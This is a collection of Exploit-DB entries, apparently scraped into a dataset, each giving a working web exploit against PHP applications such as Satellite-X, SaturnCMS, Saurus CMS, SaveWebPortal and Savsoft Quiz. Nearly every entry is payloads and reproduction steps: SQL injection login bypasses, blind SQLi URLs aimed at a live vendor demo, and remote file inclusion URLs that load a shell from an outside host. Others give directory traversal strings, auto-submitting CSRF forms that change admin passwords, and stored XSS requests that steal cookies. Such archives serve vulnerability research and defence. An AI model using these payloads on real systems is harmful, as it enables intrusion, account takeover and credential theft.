deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11962
Description: Satellite-X 4.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-03-30
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Satellite-X 4.0 (Auth Bypass) SQL Injection Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                              
| # Web Site :                                                                                                                                   
| # Dork     : 2009 © Satellite-X 
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : (Auth Bypass) SQL Injection                                                                      
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1 - http://127.0.0.1/satallitex/admin/index.php
 
 2 - username : ' or '1=1  

     password : 1nd0u
    
 3 - Go To http://127.0.0.1/satallitex/admin/index.php?config=imagesman (2 Upload Ev!l)
 
 4 - http://127.0.0.1/satallitex/img/Ch99.php (2 Find Ev!l)

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #7147
Description: SaturnCMS - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-11-17
Author: Hussin X

Exploit:
SaturnCMS (view)  Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :IQ-SecuriTY >   www.IQ-TY.com   |  TrYaG > www.TrYaG.cc

Mail :  darkangel_G85@yahoo.com

___________________________________

script  : http://www.saturncms.com/download

Demo :
_______

http://demo.saturncms.com/gallery/web/view/22`

true & false

http://demo.saturncms.com/gallery/web/view/22+and+substring(@@version,1,1)=5
http://demo.saturncms.com/gallery/web/view/22+and+substring(@@version,1,1)=4
Version = 5  :) 
Table
http://demo.saturncms.com/gallery/web/view/22+and+(SELECT 1 from mysql.user limit 0,1)=1


Auth Bypass
_______

http://demo.saturncms.com/admin
Username : admin ' or 1=1

[CREDENTIAL_REDACTED]







____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | Sakab
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | G4N0K|
|_____________________________________________________________________


                             IM IraQi    |       IM TrYaGI 

# milw0rm.com [2008-11-17]
Exploit-DB #10564
Description: Saurus CMS 4.6.4 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-12-19
Author: cr4wl3r

Exploit:
##################################################################
## Exploit Title: SaurusCMS <= 4.6.4 Multiple RFI Exploit       ##
## Date: 19-12-2009                                             ##
## Author: cr4wl3r                                              ##
## Software Link: http://www.saurus.info                        ##
## Version: N/A                                                 ##
## Tested on: GNU/LINUX                                         ##
##################################################################


~ Code [class.writeexcel_workbook.inc.php]

global $class_path;

require_once $class_path."excel/class.writeexcel_biffwriter.inc.php";
require_once $class_path."excel/class.writeexcel_format.inc.php";
//require_once "class.writeexcel_formula.inc.php";
require_once $class_path."excel/class.writeexcel_olewriter.inc.php";


~ PoC

[SaurusCMS_path]/classes/excel/class.writeexcel_workbook.inc.php?class_path=[Shell]



~ Code [class.writeexcel_worksheet.inc.php]

global $class_path;
require_once $class_path."excel/class.writeexcel_biffwriter.inc.php";


~ PoC

[SaurusCMS_path]/classes/excel/class.writeexcel_worksheet.inc.php?class_path=[Shell]
Exploit-DB #33976
Description: Saurus CMS 4.7 - 'edit.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-11
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40059/info

Saurus CMS is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Saurus CMS 4.7.0 Community Edition is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/edit.php" name="editForm" method="POST" enctype="multipart/form-data">
<input type="hidden" name="tab" value="object" />
<input type="hidden" name="op" value="new" />
<input type="hidden" name="op2" value="" />
<input type="hidden" name="refresh" value="0" />
<input type="hidden" name="tyyp_id" value="1" />
<input type="hidden" name="tyyp" value="rubriik" />
<input type="hidden" name="pearubriik" value="0" />
<input type="hidden" name="id" value="27746" />
<input type="hidden" name="parent_id" value="27270" />
<input type="hidden" name="previous_id" value="" />
<input type="hidden" name="keel" value="1" />
<input type="hidden" name="on_pealkiri" value="1" />
<input type="hidden" name="sorting" value="">
<input type="hidden" name="extension_path" value="" />
<input type="hidden" name="opener_location" value="" />
<input type="hidden" name="publish" value="1" />
<input name="permanent_parent_id" type="hidden" value="27270" />
<input name="sys_alias" type="hidden" value="" />
<input name="advanced_panel_state" type="hidden" value="0" />
<input type="hidden" name="pealkiri" value='"><script>alert(document.cookie)</script>' />
<input type="hidden" name="friendly_url" value="scriptalertdocumentcookiescript" />
<input type="hidden" name="ttyyp_id" value="0" />
<input type="hidden" name="publish" value="1" />
<input type="hidden" name="rubriik[]" value="27270">
<input type="hidden" name="page_ttyyp_id" value="0" />
<input type="hidden" name="on_meilinglist" value="1" />
<input type="hidden" name="avaldamise_algus" value="" />
<input type="hidden" name="avaldamise_lopp" value="" />
<input type="hidden" name="kesk" value="0" />
</form>
<script>
document.editForm.submit();
</script>
Exploit-DB #14618
Description: Saurus CMS 4.7.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-08-11
Author: LoSt.HaCkEr

Exploit:
# Exploit Title: [SaurusCMSupdate4.7.0 Remote File Include ]
# Date: [11-8-2010]
# Author: LoSt.HaCkEr
# Software Link: [http://www.brothersoft.com/saurus-cms-download-17626.html]
# Version: [v 4.7.0]
# Tested on: [Windows XP]
# CVE : [هكر المسيب]
#____Contact__LoSt.HaCkEr[at]yahoo[dot]com

____________________________________
Exploit: http://target/SaurusCMSupdate4.7.0/saurus_cms_upd4.7.0/file.php?class_path=[EV!L]
____________________________________________
Exploit: http://target/SaurusCMSupdate4.7.0/saurus_cms_upd4.7.0/com_del.php?class_path=[EV!L]
____________________________________________
A special tribute to:

DannY.iRaQi - TeaM iRaQ HaCkers
Exploit-DB #14644
Description: Saurus CMS Admin Panel - Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: php
Date: 2010-08-14
Author: Fady Mohammed Osman

Exploit:
# Author: Fady Mohammed Osman (cute hacker)
# Software Link: http://www.saurus.info/download/SaurusCMS-4.7.0.tgz
# Version: 4.7.0
# Tested on: Ubuntu 10.04
# CVE : [Not available]
# This vulnerability allows a malicious hacker to change password of a user
and also it allows changing the website information.

PoC 1:

<html>
<head><title>Saurus CSRF : Change site information</title></head>
<body>
<img src="http://localhost/saurus/admin/change_config.php?group=1&site_name=hacked+by+cutehacker&slogan=hacked&meta_title=hacked&meta_description=hacked&meta_keywords=hacked&save=1&flt_keel=1&page_end_html=&timezone=">
</body>
</html>

PoC 2:

<html>
<head><title>Saurus CSRF : Change user's password</title></head>
<body>
<img src="http://localhost/saurus/admin/edit_user.php?tab=account&user_id=19&group_id=1&op=edit&op2=save&username=admin&[CREDENTIAL_REDACTED]_confirmation=hacked&pass_expires=01.01.2029&is_predefined=1">
</body>
</html>
Exploit-DB #2113
Description: SaveWeb Portal 3.4 - 'SITE_Path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-02
Author: Mehmet Ince

Exploit:
///////////////////CYBER-WARRiOR.ORG\\\\\\\\\\\\\\\\\\\\\

#SaveWeb Portal 3.4 <- (SITE_Path) Remote File Inclusion Vulnerability

#Author: xoron

#script: SaveWeb Portal

#Class : Remote

#cont@ct: x0r0n[at]hotmail[dot]com

#CODE:    include($SITE_Path."poll/poll.php")

#Exploit:
http://www.site.com/[path]/menu_dx.php?SITE_Path=http://evil_scripts?
http://www.site.com/[path]/poll/poll.php?SITE_Path=http://evil_scripts?
http://www.site.com/[path]/poll/view_polls.php?SITE_Path=http://evil_scripts?

#Thanx : WWW.CYBER-WARRiOR.ORG

#Greetz: DJR, x-mastER, LASTSCREAM , zip72_72, R3D4C!D and all cyber-warrior users.

# milw0rm.com [2006-08-02]
Exploit-DB #2167
Description: SaveWebPortal 3.4 - 'page' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-10
Author: Bl0od3r

Exploit:
--------------------------------------------
SaveWebPortal <= 3.4(page) Remote File Inclusion Vulnerability
Download:http://www.circeos.it/frontend/theme4/index.php?page=downloads
--------------------------------------------
Found by x0rax
Master9976@hotmail.de
--------------------------------------------
Vulnerable Code:
<?php
....
if (strstr ($page, ".php") ||
                       strstr ($page, ".htm") ||
                       strstr ($page, ".html")) {
                       include ("$page");
....
?>
--------------------------------------------
to inject succesfully you have to create a file called shell.html.txt or
shell.php.txt
otherwise it wont work!
--------------------------------------------
Affected File:
index.php =]
--------------------------------------------
Vulnerability:
http://host.com/index.php?page=http://master-boy.cwsurf.de/c99.php.txt
--------------------------------------------

# milw0rm.com [2006-08-10]
Exploit-DB #26193
Description: SaveWebPortal 3.4 - Multiple Directory Traversal Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-23
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14643/info

SaveWebPortal is prone to multiple directory traversal vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Exploitation of this vulnerability could lead to a loss of confidentiality and integrity. Information obtained may aid in further attacks against the underlying system; other attacks are also possible.

An attacker can also execute arbitrary local PHP files through exploitation of this vulnerability. The impact of this will depend on the PHP files available. 

http://www.example.com/saveweb/menu_dx.php?SITE_Path=../../../../../boot.ini%00
http://www.example.com/saveweb/menu_sx.php?CONTENTS_Dir=../../../../../boot.ini%00

http://www.example.com/saveweb/menu_dx.php?SITE_Path=../../../../../[script].php%00
http://www.example.com/saveweb/menu_sx.php?CONTENTS_Dir=../../../../../[script].php%00
Exploit-DB #26191
Description: SaveWebPortal 3.4 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2005-08-23
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14641/info

SaveWebPortal is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/menu_dx.php?SITE_Path=http://www.example.com/[remote code]%00
http://www.example.com/menu_sx.php?CONTENTS_Dir=http://www.example.com/[remote code]%00
Exploit-DB #26190
Description: SaveWebPortal 3.4 - Unauthorized Access
Type: webapps
Platform: php
Date: 2005-08-23
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14639/info

SaveWebPortal is prone to an unauthorized access vulnerability. This issue is due to a failure in the application to limit access to administrative scripts.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access and further attacks on the affected site. 

a user can bypass admin check, calling this url:

http://www.example.com/saveweb/admin/PhpMyExplorer/editerfichier.php?chemin=.&fichier=header.php&type=Source
Exploit-DB #49196
Description: Savsoft Quiz 5 - 'field_title' Stored Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-12-04
Author: Dhruv Patel

Exploit:
# Exploit Title: Savsoft Quiz 5 - 'field_title' Stored Cross-Site Scripting
# Date: 2020-09-02
# Exploit Author: Dhruv Patel(dhruvp111296)
# Vendor Homepage: https://savsoftquiz.com/
# Software Link: https://github.com/savsofts/savsoftquiz_v5.git
# Version: 5.0
# Tested on: Windows 10

Attack vector:
This vulnerability can results attacker to inject the XSS payload in admin
panel Custom Field section. And Inject JavaScript Malicious code & Steal
User’s cookie

Vulnerable Parameters: title
Steps for reproduce:
1. Go to admin panel’s add custom fields page
2. Fill the Title name as <script>alert("HELLO XSS")</script> payload in title.
3. Now Click on Save we can see our payload gets executed.
4. All Users Can Show our Payload As a xss.
Exploit-DB #49208
Description: Savsoft Quiz 5 - 'Skype ID' Stored XSS
Type: webapps
Platform: php
Date: 2020-12-07
Author: Dipak Panchal

Exploit:
# Exploit Title: Savsoft Quiz 5 - 'Skype ID' Stored XSS
# Exploit Author: Dipak Panchal(th3.d1p4k)
# Vendor Homepage: https://savsoftquiz.com
# Software Link: https://github.com/savsofts/savsoftquiz_v5
# Version: 5
# Tested on Windows 10

Attack Vector:
This vulnerability can results attacker to inject the XSS payload in User
Registration section and each time admin visits the manage user section
from admin panel, and home page too. XSS triggers and attacker can able to
steal the cookie according to the crafted payload.

Steps to reproduce:
1. Create new account and verified it.

2. Navigate to Edit Profile:
-> http://localhost/savsoftquiz/index.php/user/edit_user/123

3. Put the below Payload in Skype ID field. and submit it.
Payload: abcd<script>alert("XSS")</script>

4. You will get XSS popup.
Exploit-DB #49825
Description: Savsoft Quiz 5 - 'User Account Settings' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-05-05
Author: strider

Exploit:
# Exploit Title: Savsoft Quiz 5 - 'User Account Settings' Persistent Cross-Site Scripting
# Date: 2021-05-04
# Exploit Author: strider
# Software Link: https://github.com/savsofts/savsoftquiz_v5
# Vendor: https://savsoftquiz.com
# Version: 5.0
# Tested on: Ubuntu 20.04 LTS / Kali Linux

====================================[Description]====================================
The vulnerability is found at the user settings page where the user can change his name and his login credentials. its possible to inject html/js into the fields which will be executed after pressing submit.


====================================[Proof of Concept]====================================
If you installed this software create a new user or you can use the default user shown in the install description

test-link:
http://192.168.1.109/index.php/user/edit_user/<userid>

step1)
login into an account

step2)
click on the top right on you account name and navigate to "My Account"

step3)
insert 

"><script>alert(document.cookie);</script>

into the fields and hit submit

boom!
Exploit-DB #48658
Description: Savsoft Quiz 5 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-07-09
Author: th3d1gger

Exploit:
# Exploit Title: Savsoft Quiz 5 - Persistent Cross-Site Scripting
# Date: 2020-07-09
# Exploit Author: Ogulcan Unveren(th3d1gger)
# Vendor Homepage:  https://savsoftquiz.com/
# Software Link:  https://github.com/savsofts/savsoftquiz_v5.git
# Version: 5.0
# Tested on: Kali Linux

---Vulnerable Source Code----
  function insert_user_2(){

		$userdata=array(
		'email'=>$this->input->post('email'),
		'password'=>md5($this->input->post('password')),
		'first_name'=>$this->input->post('first_name'),
		'last_name'=>$this->input->post('last_name'),
		'contact_no'=>$this->input->post('contact_no'),
		'gid'=>implode(',',$this->input->post('gid')),
		'su'=>'2'
		);
		$veri_code=rand('1111','9999');
		 if($this->config->item('verify_email')){
			$userdata['verify_code']=$veri_code;
		 }
		 		if($this->session->userdata('logged_in_raw')){
					$userraw=$this->session->userdata('logged_in_raw');
					$userraw_uid=$userraw['uid'];
					$this->db->where('uid',$userraw_uid);
				$rresult=$this->db->update('savsoft_users',$userdata);
				if($this->session->userdata('logged_in_raw')){
				$this->session->unset_userdata('logged_in_raw');
				}
				}else{

		$rresult=$this->db->insert('savsoft_users',$userdata);
		$uid=$this->db->insert_id();
		foreach($_POST['custom'] as $ck => $cv){
			if($cv != ''){
		$savsoft_users_custom=array(
		'field_id'=>$ck,
		'uid'=>$uid,
		'field_values'=>$cv
		);
		$this->db->insert('savsoft_users_custom',$savsoft_users_custom);
			}
		}




----Vulnerable Request---
POST /index.php/login/insert_user/ HTTP/1.1
Host: savsoftquiz_v5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.2/index.php/login/registration/
Content-Type: application/x-www-form-urlencoded
Content-Length: 231
Connection: close
Cookie: ci_session=0lhlr1iv1qgru1u1kmg42lbvj8mprokv
Upgrade-Insecure-Requests: 1

email=hello%40gmail.com&[CREDENTIAL_REDACTED]_name=XSSPAYLOAD&last_name=test&contact_no=[PII_REDACTED]5&gid%5B%5D=1
Exploit-DB #48753
Description: Savsoft Quiz 5 - Stored Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-08-18
Author: Mayur Parmar

Exploit:
# Exploit Title: Savsoft Quiz 5 - Stored Cross-Site Scripting
# Date: 2020-07-28
# Exploit Author: Mayur Parmar(th3cyb3rc0p)
# Vendor Homepage:  https://savsoftquiz.com/
# Software Link:  https://github.com/savsofts/savsoftquiz_v5.git
# Version: 5.0
# Tested on: Windows 10
# Contact: https://www.linkedin.com/in/th3cyb3rc0p/
# CVE: CVE-2020-24609

Stored Cross-site scripting(XSS):
Stored attacks are those where the injected script is permanently stored on the target servers,
such as in a database, in a message forum, visitor log, comment field, etc.
The victim then retrieves the malicious script from the server when it requests the stored information.
Stored XSS is also sometimes referred to as Persistent XSS.

Attack vector:
This vulnerability can results attacker to inject the XSS payload in User Registration section and each time admin visits the manage user section from admin panel,
the XSS triggers and attacker can able to steal the cookie according to the crafted payload.

Vulnerable Parameters: First Name, Last Name
Steps for reproduce:
1. Goto registration page
2. fill the details. & put <script>alert("XSS")</script> payload in First name,Last name
3. Now goto Admin Panel.we can see that our payload gets executed.

POST /index.php/login/insert_user/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 255
Origin: http://localhost
Connection: close
Referer: http://localhost/index.php/login/registration/
Cookie: ci_session=d99b121b1213b92a163181fd49c75f667dbce9ea
Upgrade-Insecure-Requests: 1

email=hack3r%40gmail.com&[CREDENTIAL_REDACTED].com&first_name=%3Cscript%3Ealert%28%22XSS+0%22%29%3B%3C%2Fscript%3E&last_name=%3Cscript%3Ealert%28%22XSS+2%22%29%3B%3C%2Fscript%3E&contact_no=[PII_REDACTED]&gid%5B%5D=1
Exploit-DB #48785
Description: Savsoft Quiz Enterprise Version 5.5 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-09-03
Author: Hemant Patidar

Exploit:
# Exploit Title: Savsoft Quiz Enterprise Version 5.5 - Persistent Cross-Site Scripting
# Date: 2020-09-01
# Exploit Author: Hemant Patidar (HemantSolo)
# Vendor Homepage: https://savsoftquiz.com/
# Software Link: https://savsoftquiz.com/web/demo.php
# Version: 5.0
# Tested on: Windows 10/Kali Linux
# Contact: https://www.linkedin.com/in/hemantsolo/

Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser.

Attack vector:
This vulnerability can results attacker to inject the XSS payload in User Registration section and each time admin visits the manage user section from admin panel,
the XSS triggers and attacker can able to steal the cookie according to the crafted payload.

Vulnerable Parameters: First Name, Last Name
1. Go to the registration page.
2. Fill all the details  and put this payload in First and Last Name "<script>alert("OPPS")</script>"
3. Now go to the admin panel and the XSS will be triggered.

POST /savsoftquiz_v5_enterprise/index.php/login/insert_user/ HTTP/1.1
Host: TARGET
Connection: close
Content-Length: 187
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://savsoftquiz.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://TARGET/savsoftquiz_v5_enterprise/index.php/login/registration/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: _ga=GA1.2.757[PII_REDACTED]544895; _gid=GA1.2[PII_REDACTED][PII_REDACTED]; ci_session=mm5q58p28e620n9im0imeildnvabkoeg

email=hemantpatidar1337%40gmail.com&[CREDENTIAL_REDACTED]_name=<script>alert("OPPS")</script>&last_name=<script>alert("OPPS")</script>&contact_no=[PII_REDACTED]&gid%5B%5D=1